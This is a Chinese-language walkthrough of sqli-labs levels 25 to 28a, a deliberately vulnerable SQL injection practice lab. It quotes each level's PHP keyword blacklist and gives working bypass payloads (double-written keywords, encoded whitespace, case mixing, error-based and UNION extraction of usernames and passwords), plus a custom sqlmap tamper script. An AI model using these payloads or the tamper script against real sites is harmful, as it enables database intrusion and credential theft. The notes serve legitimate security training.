Sqlilabs通关笔记(五)
第二十五关 基于错误的GET单引号-你的OR及AND归我所有
这个系列是绕过注入,题目已提示需要绕过的字符,且能显示出输入的payload
源码审计
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id;}
从代码可以看出是吧or和and忽略大小正则替换成空
绕过方式
- 符号替换绕过数学符号 and = && or = || &对应url编码%26,|对应url编码%7 payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' || extractvalue(null,concat(0x7e,database(),0x7e))%23
- 双写绕过 oorr # 替换为空仍为or anandd # 替换为空仍为and payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
- 注释绕过 and = an/**/d or = o/**/r payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
SQLMAP编写tamper绕过
#!/usr/bin/env python
"""Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs): """ Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
>>> tamper('and or') 'anandd oorr' """
retVal = payload
if payload: retVal = re.sub(r"(?i)(and)", r"anandd", re.sub(r"(?i)(or)", "oorr", payload))
return retVal
- 另存为xx.py
- 使用sqlmap调用该tamper
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-25/?id=1" --tamper "xx.py" --technique E --threads 10 --dbs --batch
第二十五a关 基于GET盲注整型单引号-你的OR及AND归我所有
源码审计
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; //echo 'YOU ARE IN ........'; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }} else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id;}
- 源码和上一关类似,过滤机制一样
- 不同的是整形闭合
- 不会输出错误信息了,所以不能进行报错注入了
- 直接上payload
http://127.0.0.1/sqlilabs2/Less-25a/?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+
第二十六关 基于GET错误-你的空格和注释归我所有
源码审计
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[/*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[s]/',"", $id); //Strip out spaces $id= preg_replace('/[/\\]/',"", $id); //Strip out slashes return $id;}
- 从源码看除了过滤or和and外还过滤了#和--
- 还有斜杠和*号和空格
绕过方式
-
编码绕过
- %09 TAB键(空格)
- %0A 新建一行(空格)
- %0C 新的一页
- %0D return即回车功能 (php-5.2.17,5.3.29成功)
- %0B TAB键(垂直)
- %A0 空格 (php-5.2.17成功)
-
括号绕过
- 用()绕过,意思就是不使用任何空格
payload:
http://127.0.0.1/sqlilabs2/Less-26/?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1
第二十六a关 基于GET错误-你的空格和注释归我所有-字符型-括号
源码审计
- 和上一关绕过方式一样,只是不能使用报错注入了
- 需要通过括号进行闭合
绕过方式
payload
http://127.0.0.1/sqlilabs2/Less-26a/??id=1111')union%A0select(1),(select(group_concat(id,'~',username,'~',passwoorrd))from(security.users)),3%7c%7c('1
第二十七关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号
源码审计
function blacklist($id){$id= preg_replace('/[/*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --.$id= preg_replace('/[#]/',"", $id); //Strip out #.$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.$id= preg_replace('/select/m',"", $id); //Strip out spaces.$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.$id= preg_replace('/union/s',"", $id); //Strip out union$id= preg_replace('/select/s',"", $id); //Strip out select$id= preg_replace('/UNION/s',"", $id); //Strip out UNION$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT$id= preg_replace('/Union/s',"", $id); //Strip out Union$id= preg_replace('/Select/s',"", $id); //Strip out selectreturn $id;}
- 从源码可知过滤了union和select,并非大小写忽略的那种
- *和--也被过滤了
- 会打印出错误信息,可以使用报错注入
绕过方式
- 双写绕过
uniunionon selecselectt
- 大小写绕过
select -> SeLect union -> UNion
payload
http://127.0.0.1/sqlilabs2/Less-27/?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1
第二十七a关 基于GET错误-你的UNION和SELECT归我所有-双引号
源码审计
- 绕过方式一样,双引号闭合
- 不输出报错信息,不能使用报错注入
payload
http://127.0.0.1/sqlilabs2/Less-27a/?id=1"%09and%091=2%09%09uniunionon%09SElselectect%091,(SElect(group_concat(username,password))from(users)),3%09or%09"1
第二十八关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号和括号
源码审计
// connectivity $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; //print_r(mysql_error()); echo "</font>"; }} else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id){$id= preg_replace('/[/*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --.$id= preg_replace('/[#]/',"", $id); //Strip out #.$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.//$id= preg_replace('/select/m',"", $id); //Strip out spaces.$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.$id= preg_replace('/unions+select/i',"", $id); //Strip out UNION & SELECT.return $id;}
- 通过源码分析,过滤了union select 忽略大小写
- 过滤了#和注释、空格
绕过方式
- 双写绕过
union
- 加字符绕过
union all select
直接上payload
http://127.0.0.1/sqlilabs2/Less-28/?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1
第二十八a关 基于GET盲注-你的UNION和SELECT归我所有-字符型单引号和括号
和上一关类似
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法